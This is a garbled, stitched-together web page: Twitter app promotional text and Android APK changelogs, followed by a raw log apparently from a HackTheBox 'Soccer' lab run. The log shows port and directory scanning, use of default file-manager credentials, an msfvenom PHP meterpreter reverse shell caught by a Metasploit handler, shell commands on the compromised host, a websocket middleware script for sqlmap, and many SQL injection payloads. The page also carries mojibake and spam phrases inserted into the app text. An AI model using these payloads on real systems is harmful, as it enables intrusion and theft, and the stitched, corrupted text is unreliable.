join the conversation! twitter is your go-to social networking app and the source for what's happening in the world. from world news to local news, entertainment to sports and gaming, politics to fun stories that go viral, when it happens in the world, it happens on twitter first. find friends or follow influential people - every voice can impact the world! join over 2 billion users worldwide!
tweet, retweet, reply to tweets, share or like - twitter is easy to use
chat privately or go big and initiate a group conversation with anyone who follows you. track your friends & other twitter followers or follow your favorite celebrity alongside hundreds of interesting twitter users, to read their content at a glance. engage your social network with noteworthy links, photos and videos. discover which of your tweets were liked or retweeted.
create your free twitter account today!
twitter allows you to find interesting people or build a following of people who are interested in you. maintaining a social connection has never been easier!twitter allows celebs to build a personal connection with their fans. this is why twitter has become one of the most used social media platforms in the world.
build an engaging profile
customize your profile, add a photo, description, location, and background photo
tweet often and optimize your posting times
post visual content
use hashtags in your tweets
draw in followers outside of twitter
know what鈥檚 trending now
discover top trending hashtags and breaking news headlines. whether you鈥檙e interested in sports highlights, pop culture and entertainment or politics, twitter is your source of information.
live streaming events
join the conversation or watch live videos to deeply engage with large audiences directly from your mobile device. go live, create your own live streaming events, share videos or sit back and watch events from around the world.
privacy policy: twitter /en/privacy
terms and conditions: twitter /en/tos
android tuner 0.12.5.1 apk
what's in this android tuner 0.12.5.1 apk
full android 4.4 support (except sms restore)
optimized app manager performance (apps and backups tabs)
xposed framework integrated taxi heathrow for quick installation
2 columns apps/backups on tablets in landscape
shortcut to 鈥?[read more...]
tweetings for twitter 4.0 apk
what's in this tweetings for twitter 4.0 apk
new style drawer navigation, swipe from left edge to right to open drawer, or tap the menu icon at the top left. optionally switch taxi gatwick to london back to prajituri si torturi zalau tab navigation from settings -> look & feel -> navigation 鈥?[read more...]
rocketdial dialer&contacts pro 3.6.5 apk
what's in this rocketdial dialer&contacts pro 3.6.5 apk
added support to android 4.4 platform .
optimized startup speed
optimized memory consumptions.
optimized dialpad gestures, more accurate, no more misoperations.
some bug 鈥?[read more...]
root call blocker pro 2.2.3.6 apk
what's in this root call blocker pro 2.2.3.6 apk
fixed sms issues
fixed issues on 4.3
fixed delivery reports issues
fixed issues from user replies
welcome to root call blocker 2. if you experience any issue, or need advice, write to us through the 鈥?[read more...]
terratime 3.9.5 apk
what's in this terratime 3.9.5 apk
reduce globe's tendency to rotate abruptly under various circumstances
normalize globe auto-rotation speed across different screen sizes
support android 4.4 (kitkat)
fix bug: pinch-to-zoom disable option on globe lwp stopped working 鈥?[read more...]
ram manager pro 5.3.3 apk
what's in this version:
fixed "memory info"
added icon for xxhdpi resolution
some minor changes
options "balance, more free memory, more multitasking, hard gaming and hard multitasking" were improved
application now also controls overcommit memory and 鈥?[read more...]
infinite flight 1.2 apk
what's new
completely reworked in flight user interface
added the boeing 777-300er (paid)
added amsterdam and region as free scenery
added denver and south florida as paid sceneries
reworked a340/330-300 and 330-200f cockpits and added new liveries
added 鈥?[read more...]
annoying orange splatter up! 1.0.3 apk
join the annoying orange and his entourage for this splatterific home run derby game that is sure to put you in stiches. swipe for the fences and induce maximum pain (and points) on unsuspecting fruits like apple, banana and cantaloupe in the kitchen of 鈥?[read more...]
locus map pro 2.17.1 apk
what's in this locus map pro 2.17.1 apk
add:usgs topo maps (also for download)
add: support for dropbox (import/export of files)
add: ability to import multiple files (also pocketqueries) at once
chg: optimized speed of points and tracks on map
chg: completely 鈥?[read more...]
playerpro music player 2.82 apk
what's in this playerpro music player 2.82 apk
updated translations
more bug fixes
this application is an advanced music and video player for android 2.x devices. playerpro features a beautiful, fast and intuitive interface, alongside powerful audio 鈥?[read more...]
app.hackthebox /machines/soccer
鈹屸攢鈹€(kwkl銐縦wkl)-[~]
鈹斺攢$ cat /etc/hosts 1 猕?/p>
127.0.0.1 localhost
127.0.1.1 kwkl.kwkl kwkl
# the following lines are desirable for ipv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.187.153 unika.htb
10.129.187.172 thetoppers.htb
10.129.187.172 s3.thetoppers.htb
#10.129.235.232 megacorp
#
#
10.10.11.196 stocker.htb
10.10.11.196 dev.stocker.htb
10.10.11.194 soccer.htb
鈹屸攢鈹€(kwkl銐縦wkl)-[~/妗岄潰/burp]
鈹斺攢$ nmap -a 10.10.11.194 -t4 130 猕?/p>
starting nmap 7.93 ( nmap.org ) at 2023-03-03 22:46 hkt
nmap scan report for 10.10.11.194 (10.10.11.194)
host is up (0.99s latency).
not shown: 997 closed tcp ports (conn-refused)
port state service version
22/tcp open ssh openssh 8.2p1 ubuntu 4ubuntu0.5 (ubuntu linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (rsa)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ecdsa)
|_ 256 5797565def793c2fcbdb35fff17c615c (ed25519)
80/tcp open http nginx 1.18.0 (ubuntu)
|_http-server-header: nginx/1.18.0 (ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| informix:
| http/1.1 400 bad request
|_ connection: close
1 service unrecognized despite returning data. if you know the service/version, please submit the following fingerprint at nmap.org/cgi-bin/submit.cgi?new-service :
sf-port9091-tcp:v=7.93%i=7%d=3/3%time=640208c3%p=x86_64-pc-linux-gnu%r(inf
sf:ormix,2f,"http/1\.1\x20400\x20bad\x20request\r\nconnection:\x20close\r\
sf:n\r\n");
service info: os: linux; cpe: cpe:/o:linux:linux_kernel
service detection performed. please report any incorrect results at nmap.org/submit/ .
nmap done: 1 ip address (1 host up) scanned in 255.63 seconds
鈹屸攢鈹€(kwkl銐縦wkl)-[~/妗岄潰/burp]
鈹屸攢鈹€(kwkl銐縦wkl)-[~]
鈹斺攢$ gobuster dir -u soccer.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt 1 猕?/p>
===============================================================
gobuster v3.2.0-dev
by oj reeves (@thecolonial) & christian mehlmauer (@firefart)
===============================================================
[ ] url: soccer.htb
[ ] method: get
[ ] threads: 10
[ ] wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[ ] negative status codes: 404
[ ] user agent: gobuster/3.2.0-dev
[ ] timeout: 10s
===============================================================
2023/03/04 11:51:23 starting gobuster in directory enumeration mode
===============================================================
/tiny (status: 301) [size: 178] [--> soccer.htb/tiny/]
progress: 9478 / 87665 (10.81%)^c
[!] keyboard interrupt detected, terminating.
===============================================================
2023/03/04 12:04:41 finished
===============================================================
search exploit
how to use
download zip with latest version from master branch.
just copy the tinyfilemanager.php to your webspace - thats all 馃槂 you can also change the file name from 鈥渢inyfilemanager.php鈥?to something else, you know what i meant for.
default username/password: admin/admin@123 and user/12345.
鈿狅笍 warning: please set your own username and password in $auth_users before use. password is encrypted with password_hash(). to generate new password hash here
to enable/disable authentication set $use_auth to true or false.
鈩癸笍 add your own configuration file config.php in the same folder to use as additional configuration file.
鈩癸笍 to work offline without cdn resources, use offline branch
try username password
try user/12345.
try admin/admin@123
tiny file manager 2.4.3
have upload file privilege
search exploit锛?/p>
generous the horse
鈹屸攢鈹€(kwkl銐縦wkl)-[~/hodl/htb/soccer]
鈹斺攢$ cat ~/shell.php 1 猕?/p>
/*
鈹屸攢鈹€(kwkl銐縦wkl)-[~/hodl/htb/soccer]
鈹斺攢$ msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.16.9 lport=5555 -o shell.php
鈹€鈹€(kwkl銐縦wkl)-[~]
鈹斺攢$ msfconsole
___ ____
,-"" `. < honk >
,' _ e )`-._ / ----
/ ,' `-._<.===-'
/ /
/ ;
_ / ;
(`._ _.-"" ""--..__,' |
<_ `-"" \
<`- :
(__ <__. ;
`-. '-.__. _.' /
\ `-.__,-' _,'
`._ , /__,-'
""._\__,'< <____
| | `----.`.
| | \ `.
; |___ \-``
\ --<
`.`.<
`-'
=[ metasploit v6.2.26-dev ]
-- --=[ 2265 exploits - 1189 auxiliary - 404 post ]
-- --=[ 951 payloads - 45 encoders - 11 nops ]
-- --=[ 9 evasion ]
metasploit tip: view advanced module options with
advanced
metasploit documentation: docs.metasploit /
msf6 > search handler
matching modules
================
# name disclosure date rank check description
- ---- --------------- ---- ----- -----------
0 exploit/windows/ftp/aasync_list_reply 2010-10-12 good no aasync v2.2.1.0 (win32) stack buffer overflow (list)
1 exploit/linux/local/abrt_raceabrt_priv_esc 2015-04-14 excellent yes abrt raceabrt privilege escalation
2 exploit/linux/local/abrt_sosreport_priv_esc 2015-11-23 excellent yes abrt sosreport privilege escalation
3 exploit/windows/misc/cve_2022_28381_allmediaserver_bof 2022-04-01 good no allmediaserver 1.6 seh buffer overflow
4 exploit/windows/browser/aim_goaway 2004-08-09 great no aol instant messenger goaway overflow
5 exploit/linux/local/apt_package_manager_persistence 1999-03-09 excellent no apt package manager persistence
6 exploit/linux/http/accellion_fta_getstatus_oauth 2015-07-10 excellent yes accellion fta getstatus verify_oauth_token command execution
7 exploit/windows/misc/achat_bof 2014-12-18 normal no achat unicode seh buffer overflow
8 exploit/android/local/janus 2017-07-31 manual yes android janus apk signature bypass
9 auxiliary/scanner/http/apache_activemq_traversal normal no apache activemq directory traversal
10 auxiliary/scanner/http/apache_activemq_source_disclosure normal no apache activemq jsp files source disclosure
11 auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal yes apache mod_cgi bash environment variable injection (shellshock) scanner
12 exploit/linux/local/apport_abrt_chroot_priv_esc 2015-03-31 excellent yes apport / abrt chroot privilege escalation
13 exploit/windows/local/ps_wmi_exec 2012-08-19 excellent no authenticated wmi exec via powershell
14 exploit/windows/http/bea_weblogic_transfer_encoding 2008-09-09 great no bea weblogic transfer-encoding buffer overflow
15 exploit/linux/local/bash_profile_persistence 1989-06-08 normal no bash profile persistence
16 exploit/freebsd/misc/citrix_netscaler_soap_bof 2014-09-22 normal yes citrix netscaler soap handler remote code execution
17 exploit/windows/misc/stream_down_bof 2011-12-27 good no cocsoft streamdown 6.8.0 buffer overflow
18 exploit/windows/fileformat/cyberlink_lpp_bof 2017-09-23 normal no cyberlink labelprint 2.5 stack buffer overflow
19 exploit/windows/fileformat/cyberlink_p2g_bof 2011-09-12 great no cyberlink power2go name attribute (p2g) stack buffer overflow exploit
20 exploit/linux/http/dlink_hnap_bof 2014-05-15 normal yes d-link hnap request remote buffer overflow
21 exploit/linux/http/dlink_dspw215_info_cgi_bof 2014-05-22 normal yes d-link info.cgi post request buffer overflow
22 exploit/linux/local/desktop_privilege_escalation 2014-08-07 excellent yes desktop linux password stealer and privilege escalation
23 exploit/windows/browser/exodus 2018-01-25 manual no exodus wallet (electronjs framework) remote code execution
24 exploit/windows/ftp/ftpsynch_list_reply 2010-10-12 good no ftp synchronizer professional 4.0.73.274 stack buffer overflow
25 exploit/windows/ftp/ftpgetter_pwd_reply 2010-10-12 good no ftpgetter standard v3.55.0.05 stack buffer overflow (pwd)
26 exploit/windows/ftp/ftpshell51_pwd_reply 2010-10-12 good no ftpshell 5.1 stack buffer overflow
27 exploit/windows/fileformat/foxit_title_bof 2010-11-13 great no foxit pdf reader v4.1.1 title stack buffer overflow
28 exploit/freebsd/telnet/telnet_encrypt_keyid 2011-12-23 great no freebsd telnet service encryption key id buffer overflow
29 exploit/windows/ftp/gekkomgr_list_reply 2010-10-12 good no gekko manager ftp client stack buffer overflow
30 exploit/multi/handler manual no generic payload handler
31 exploit/windows/misc/hp_dataprotector_new_folder 2012-03-12 normal no hp data protector create new folder buffer overflow
32 exploit/multi/http/hp_sitescope_uploadfileshandler 2012-08-29 good no hp sitescope remote code execution
33 exploit/windows/browser/notes_handler_cmdinject 2012-06-18 excellent no ibm lotus notes client url handler command injection
34 auxiliary/dos/misc/ibm_tsm_dos 2015-12-15 normal no ibm tivoli storage manager fastback server opcode 0x534 denial of service
35 exploit/windows/firewall/blackice_pam_icq 2004-03-18 great no iss pam.dll icq parser buffer overflow
36 exploit/linux/telnet/telnet_encrypt_keyid 2011-12-23 great no linux bsd-derived telnet service encryption key id buffer overflow
37 exploit/windows/iis/ms01_033_idq 2001-06-18 good no ms01-033 microsoft iis 5.0 idq path overflow
38 exploit/windows/browser/ms05_054_onload 2005-11-21 normal no ms05-054 microsoft internet explorer javascript onload handler remote code execution
39 exploit/windows/browser/ms13_055_canchor 2013-07-09 normal no ms13-055 microsoft internet explorer canchorelement use-after-free
40 exploit/windows/browser/ms13_059_cflatmarkuppointer 2013-06-27 normal no ms13-059 microsoft internet explorer cflatmarkuppointer use-after-free
41 exploit/windows/browser/ms13_069_caret 2013-09-10 normal no ms13-069 microsoft internet explorer ccaret use-after-free
42 exploit/windows/browser/ms13_080_cdisplaypointer 2013-10-08 normal no ms13-080 microsoft internet explorer cdisplaypointer use-after-free
43 exploit/windows/browser/ie_setmousecapture_uaf 2013-09-17 normal no ms13-080 microsoft internet explorer setmousecapture use-after-free
44 exploit/windows/fileformat/ms14_060_sandworm 2014-10-14 excellent no ms14-060 microsoft windows ole package manager code execution
45 exploit/windows/fileformat/magix_musikmaker_16_mmm 2011-04-26 good no magix musik maker 16 .mmm stack buffer overflow
46 auxiliary/gather/eventlog_cred_disclosure 2014-11-05 normal no manageengine eventlog analyzer managed hosts administrator credential disclosure
47 exploit/multi/http/maracms_upload_exec 2020-08-31 excellent yes maracms arbitrary php file upload
48 exploit/unix/webapp/guestbook_ssi_exec 1999-11-05 excellent no matt wright guestbook.pl arbitrary command execution
49 auxiliary/dos/http/metasploit_httphandler_dos 2019-09-04 normal no metasploit http(s) handler dos
50 exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec 2010-06-09 excellent no microsoft help center xss and command execution
51 exploit/windows/fileformat/office_word_hta 2017-04-14 excellent no microsoft office word malicious hta execution
52 exploit/windows/mssql/mssql_linkcrawler 2000-01-01 great no microsoft sql server database link crawling command execution
53 exploit/linux/http/netgear_readynas_exec 2013-07-12 manual yes netgear readynas perl code evaluation
54 auxiliary/server/dns/native_server normal no native dns server (example)
55 exploit/windows/fileformat/nuance_pdf_launch_overflow 2010-10-08 great no nuance pdf reader v6.0 launch stack buffer overflow
56 exploit/windows/ftp/odin_list_reply 2010-10-12 good no odin secure ftp 4.1 stack buffer overflow (list)
57 exploit/windows/browser/persits_xupload_traversal 2009-09-29 excellent no persits xupload activex makehttprequest directory traversal
58 exploit/windows/http/integard_password_bof 2010-09-07 great no race river integard home/pro loginadmin password stack buffer overflow
59 exploit/linux/http/raidsonic_nas_ib5220_exec_noauth 2013-02-04 manual no raidsonic nas devices unauthenticated remote command execution
60 exploit/windows/local/razer_zwopenprocess 2017-03-22 normal yes razer synapse rzpnk.sys zwopenprocess
61 exploit/linux/http/rconfig_ajaxarchivefiles_rce 2020-03-11 good yes rconfig 3.x chained remote code execution
62 auxiliary/dos/http/webrick_regex 2008-08-08 normal no ruby webrick::http::defaultfilehandler dos
63 exploit/osx/browser/safari_user_assisted_download_launch 2014-03-10 manual no safari user-assisted download and run attack
64 exploit/android/browser/samsung_knox_smdm_url 2014-11-12 excellent no samsung galaxy knox android browser rce
65 exploit/windows/ftp/scriptftp_list 2011-10-12 good no scriptftp list remote buffer overflow
66 exploit/windows/ftp/seagull_list_reply 2010-10-12 good no seagull ftp v3.3 build 409 stack buffer overflow
67 exploit/windows/http/sitecore_xp_cve_2021_42237 2021-11-02 excellent yes sitecore experience platform (xp) preauth deserialization rce
68 auxiliary/dos/http/squid_range_dos 2021-05-27 normal no squid proxy range header dos
69 auxiliary/server/teamviewer_uri_smb_redirect normal no teamviewer unquoted uri handler smb redirect
70 exploit/linux/http/trendmicro_websecurity_exec 2020-06-10 excellent yes trend micro web security (virtual appliance) remote code execution
71 exploit/windows/misc/trendmicro_cmdprocessor_addtask 2011-12-07 good no trendmicro control manger cmdprocessor.exe stack buffer overflow
72 exploit/windows/http/ultraminihttp_bof 2013-07-10 normal no ultra mini httpd stack buffer overflow
73 exploit/windows/local/bypassuac_comhijack 1900-01-01 excellent yes windows escalate uac protection bypass (via com handler hijack)
74 exploit/windows/local/bypassuac_sluihijack 2018-01-15 excellent yes windows uac protection bypass (via slui file handler hijack)
75 exploit/multi/http/wp_ait_csv_rce 2020-11-14 excellent yes wordpress ait csv import export unauthenticated remote code execution
76 exploit/unix/webapp/wp_photo_gallery_unrestricted_file_upload 2014-11-11 excellent yes wordpress photo gallery unrestricted file upload
77 auxiliary/admin/http/wp_gdpr_compliance_privesc 2018-11-08 normal yes wordpress wp gdpr compliance plugin privilege escalation
78 exploit/windows/fileformat/xion_m3u_sehbof 2010-11-23 great no xion audio player 1.0.126 unicode stack buffer overflow
79 exploit/linux/local/yum_package_manager_persistence 2003-12-17 excellent no yum package manager persistence
80 exploit/windows/fileformat/zahir_enterprise_plus_csv 2018-09-28 normal no zahir enterprise plus 6 stack buffer overflow
81 exploit/linux/http/zyxel_ztp_rce 2022-04-28 excellent yes zyxel firewall ztp unauthenticated command injection
82 exploit/unix/webapp/jquery_file_upload 2018-10-09 excellent yes blueimp's jquery (arbitrary) file upload
83 exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc 2015-12-18 excellent yes blueman set_dhcp_handler d-bus privilege escalation
interact with a module by name or index. for example info 83, use 83 or use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
msf6 > use exploit/multi/handler
[*] using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/
set payload php/bind_perl set payload php/exec set payload php/meterpreter/reverse_tcp
set payload php/bind_perl_ipv6 set payload php/meterpreter/bind_tcp set payload php/meterpreter/reverse_tcp_uuid
set payload php/bind_php set payload php/meterpreter/bind_tcp_ipv6 set payload php/meterpreter_reverse_tcp
set payload php/bind_php_ipv6 set payload php/meterpreter/bind_tcp_ipv6_uuid set payload php/reverse_perl
set payload php/download_exec set payload php/meterpreter/bind_tcp_uuid set payload php/reverse_php
msf6 exploit(multi/handler) > set payload php/meterpreter/
set payload php/meterpreter/bind_tcp set payload php/meterpreter/bind_tcp_ipv6_uuid set payload php/meterpreter/reverse_tcp
set payload php/meterpreter/bind_tcp_ipv6 set payload php/meterpreter/bind_tcp_uuid set payload php/meterpreter/reverse_tcp_uuid
msf6 exploit(multi/handler) > set payload php/meterpreter/
set payload php/meterpreter/bind_tcp set payload php/meterpreter/bind_tcp_ipv6_uuid set payload php/meterpreter/reverse_tcp
set payload php/meterpreter/bind_tcp_ipv6 set payload php/meterpreter/bind_tcp_uuid set payload php/meterpreter/reverse_tcp_uuid
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.16.9
lhost => 10.10.16.9
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > ls
[*] exec: ls
allowed.userlist cookies google-chrome-stable_current_amd64.deb logs raw-md5 transportsecurity 鍏叡
allowed.userlist.passwd cookies-journal gpucache machineid respondehash1.txt user 鍦栫墖
backups crashpad hash.txt module13 respondehash.txt vaccinhash.txt 褰辩墖
blob_storage ctf4 hasixulc.html msf 'service worker' vpy3.9 鏂囦欢
cache ctf8 hodl 'network persistent state' 'session storage' vulhub 妗岄潰
cacheddata databases jndi-injection-exploit-plus-1.8-snapshot-all.jar paused.conf shell.php webstorage 妯℃澘
cachedextensions dictionaries languagepacks.json preferences shell.sh worknotes.txt 闊虫▊
'code cache' flag.txt 'local storage' prod.dtsconfig solve_pow.py 涓嬭浇
msf6 exploit(multi/handler) > show options
module options (exploit/multi/handler):
name current setting required description
---- --------------- -------- -----------
payload options (php/meterpreter/reverse_tcp):
name current setting required description
---- --------------- -------- -----------
lhost 10.10.16.9 yes the listen address (an interface may be specified)
lport 5555 yes the listen port
exploit target:
id name
-- ----
0 wildcard target
view the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > run
[*] started reverse tcp handler on 10.10.16.9:5555
[*] sending stage (39927 bytes) to 10.10.11.194
[*] meterpreter session 1 opened (10.10.16.9:5555 -> 10.10.11.194:52842) at 2023-03-05 11:12:21 0800
meterpreter > sysinfo
computer : soccer
os : linux soccer 5.4.0-135-generic #152-ubuntu smp wed nov 23 20:19:22 utc 2022 x86_64
meterpreter : php/linux
meterpreter > id
[-] unknown command: id
meterpreter > id
[-] unknown command: id
meterpreter > os-shell
[-] unknown command: os-shell
meterpreter > ?
core commands
=============
command description
------- -----------
? help menu
background backgrounds the current session
bg alias for background
bgkill kills a background meterpreter script
bglist lists running background scripts
bgrun executes a meterpreter script as a background thread
channel displays information or control active channels
close closes a channel
detach detach the meterpreter session (for http/https)
disable_unicode_encoding disables encoding of unicode strings
enable_unicode_encoding enables encoding of unicode strings
exit terminate the meterpreter session
guid get the session guid
help help menu
info displays information about a post module
irb open an interactive ruby shell on the current session
load load one or more meterpreter extensions
machine_id get the msf id of the machine attached to the session
pry open the pry debugger on the current session
quit terminate the meterpreter session
read reads data from a channel
resource run the commands stored in a file
run executes a meterpreter script or post module
secure (re)negotiate tlv packet encryption on the session
sessions quickly switch to another session
use deprecated alias for "load"
uuid get the uuid for the current session
write writes data to a channel
stdapi: file system commands
============================
command description
------- -----------
cat read the contents of a file to the screen
cd change directory
checksum retrieve the checksum of a file
chmod change the permissions of a file
cp copy source to destination
del delete the specified file
dir list files (alias for ls)
download download a file or directory
edit edit a file
getlwd print local working directory
getwd print working directory
lcat read the contents of a local file to the screen
lcd change local working directory
lls list local files
lpwd print local working directory
ls list files
mkdir make directory
mv move source to destination
pwd print working directory
rm delete the specified file
rmdir remove directory
search search for files
upload upload a file or directory
stdapi: networking commands
===========================
command description
------- -----------
portfwd forward a local port to a remote service
resolve resolve a set of host names on the target
stdapi: system commands
=======================
command description
------- -----------
execute execute a command
getenv get one or more environment variable values
getpid get the current process identifier
getuid get the user that the server is running as
kill terminate a process
localtime displays the target system local date and time
pgrep filter processes by name
pkill terminate processes by name
ps list running processes
shell drop into a system command shell
sysinfo gets information about the remote system, such as os
stdapi: audio output commands
=============================
command description
------- -----------
play play a waveform audio file (.wav) on the target system
meterpreter > shell
process 1689 created.
channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls
shell.php
ss -lntup
netid state recv-q send-q local address:port peer address:port process
udp unconn 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp unconn 0 0 0.0.0.0:68 0.0.0.0:*
tcp listen 0 151 127.0.0.1:3306 0.0.0.0:*
tcp listen 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=1127,fd=6),("nginx",pid=1126,fd=6))
tcp listen 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp listen 0 128 0.0.0.0:22 0.0.0.0:*
tcp listen 0 511 127.0.0.1:3000 0.0.0.0:*
tcp listen 0 511 0.0.0.0:9091 0.0.0.0:*
tcp listen 0 70 127.0.0.1:33060 0.0.0.0:*
tcp listen 0 511 [::]:80 [::]:* users:(("nginx",pid=1127,fd=7),("nginx",pid=1126,fd=7))
tcp listen 0 128 [::]:22 [::]:*
cat /etc/nginx.conf
cat: /etc/nginx.conf: no such file or directory
cat /etc/hosts
127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb
127.0.1.1 ubuntu-focal ubuntu-focal
find / -type d -name dstat 2>/dev/null
/usr/share/doc/dstat
/usr/share/dstat
/usr/local/share/dstat
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cd /usr/local/share/dstat
/bin/sh: 10: cd: can't cd to /usr/local/share/dstat
ls
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls
id
pwd
terminate channel 0? [y/n] n
pwd
pwd
terminate channel 0? [y/n] n
terminate channel 0? [y/n] n
find soc-player.soccer.htb
[sudo] kwkl 鐨勫瘑鐮侊細
鈹屸攢鈹€(kwkl銐縦wkl)-[~]
鈹斺攢$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kwkl.kwkl kwkl
# the following lines are desirable for ipv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.187.153 unika.htb
10.129.187.172 thetoppers.htb
10.129.187.172 s3.thetoppers.htb
#10.129.235.232 megacorp
#
#
10.10.11.196 stocker.htb
10.10.11.196 dev.stocker.htb
10.10.11.194 soccer.htb
10.10.11.194 soc-player.soccer.htb
try sqlmap
try sqlmap
sign up & login
try ws middle ware
鈹屸攢鈹€(kwkl銐縦wkl)-[~/hodl/htb/soccer]
鈹斺攢$ cat ws.py
from http.server import simplehttprequesthandler
from socketserver import tcpserver
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/"
def send_ws(payload):
ws = create_connection(ws_server)
# if the server returns a response on connect, use below line
#resp = ws.recv() # if server returns something like a token on connect you can find and extract from here
# for our case, format the payload in json
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking json structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class customhandler(simplehttprequesthandler):
def do_get(self) -> none:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except indexerror:
payload = false
if payload:
content = send_ws(payload)
else:
content = 'no parameters specified!'
self.send_header("content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _tcpserver(tcpserver):
allow_reuse_address = true
httpd = _tcpserver(host_port, customhandler)
httpd.serve_forever()
print("[ ] starting middleware server")
print("[ ] send payloads in localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except keyboardinterrupt:
pass
鈹屸攢鈹€(kwkl銐縦wkl)-[~/hodl/htb/soccer]
鈹斺攢$ python3 ws.py
[ ] starting middleware server
[ ] send payloads in localhost:8081/?id=*
127.0.0.1 - - [05/mar/2023 11:39:06] "get /?id=1 http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:39:09] "get /?id=1&zlto=7210 and 1=1 union all select 1,null,'',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../etc/passwd')# http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:39:15] "get /?id=1 http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:39:26] "get /?id=1,'(),(."), http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:39:31] "get /?id=1'rwowuw<'">ghqxrx http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:39:35] "get /?id=1) and 7838=9274 and (9743=9743 http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:39:40] "get /?id=1 and 7762=3250 http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:39:46] "get /?id=1 and 4911=9784-- ghqf http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:40:02] "get /?id=1') and 4484=4965 and ('rbjr'='rbjr http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:40:06] "get /?id=1' and 3834=5208 and 'vqnp'='vqnp http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:40:10] "get /?id=(select (case when (1185=6285) then 1 else (select 6285 union select 6895) end)) http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:40:15] "get /?id=1) and extractvalue(9909,concat(0x5c,0x716b627a71,(select (elt(9909=9909,1))),0x71716a6a71)) and (6667=6667 http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:40:21] "get /?id=1 and extractvalue(9909,concat(0x5c,0x716b627a71,(select (elt(9909=9909,1))),0x71716a6a71)) http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:40:31] "get /?id=1 and extractvalue(9909,concat(0x5c,0x716b627a71,(select (elt(9909=9909,1))),0x71716a6a71))-- vmol http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:40:36] "get /?id=1') and extractvalue(9909,concat(0x5c,0x716b627a71,(select (elt(9909=9909,1))),0x71716a6a71)) and ('vgzl'='vgzl http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:40:43] "get /?id=1' and extractvalue(9909,concat(0x5c,0x716b627a71,(select (elt(9909=9909,1))),0x71716a6a71)) and 'fmfq'='fmfq http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:40:50] "get /?id=1) and 7941=cast((chr(113)||chr(107)||chr(98)||chr(122)||chr(113))||(select (case when (7941=7941) then 1 else 0 end))::text||(chr(113)||chr(113)||chr(106)||chr(106)||chr(113)) as numeric) and (4381=4381 http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:40:54] "get /?id=1 and 7941=cast((chr(113)||chr(107)||chr(98)||chr(122)||chr(113))||(select (case when (7941=7941) then 1 else 0 end))::text||(chr(113)||chr(113)||chr(106)||chr(106)||chr(113)) as numeric) http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:41:00] "get /?id=1 and 7941=cast((chr(113)||chr(107)||chr(98)||chr(122)||chr(113))||(select (case when (7941=7941) then 1 else 0 end))::text||(chr(113)||chr(113)||chr(106)||chr(106)||chr(113)) as numeric)-- pxhb http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:41:08] "get /?id=1') and 7941=cast((chr(113)||chr(107)||chr(98)||chr(122)||chr(113))||(select (case when (7941=7941) then 1 else 0 end))::text||(chr(113)||chr(113)||chr(106)||chr(106)||chr(113)) as numeric) and ('cjrp'='cjrp http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:41:13] "get /?id=1' and 7941=cast((chr(113)||chr(107)||chr(98)||chr(122)||chr(113))||(select (case when (7941=7941) then 1 else 0 end))::text||(chr(113)||chr(113)||chr(106)||chr(106)||chr(113)) as numeric) and 'jjgq'='jjgq http/1.1" 200 -
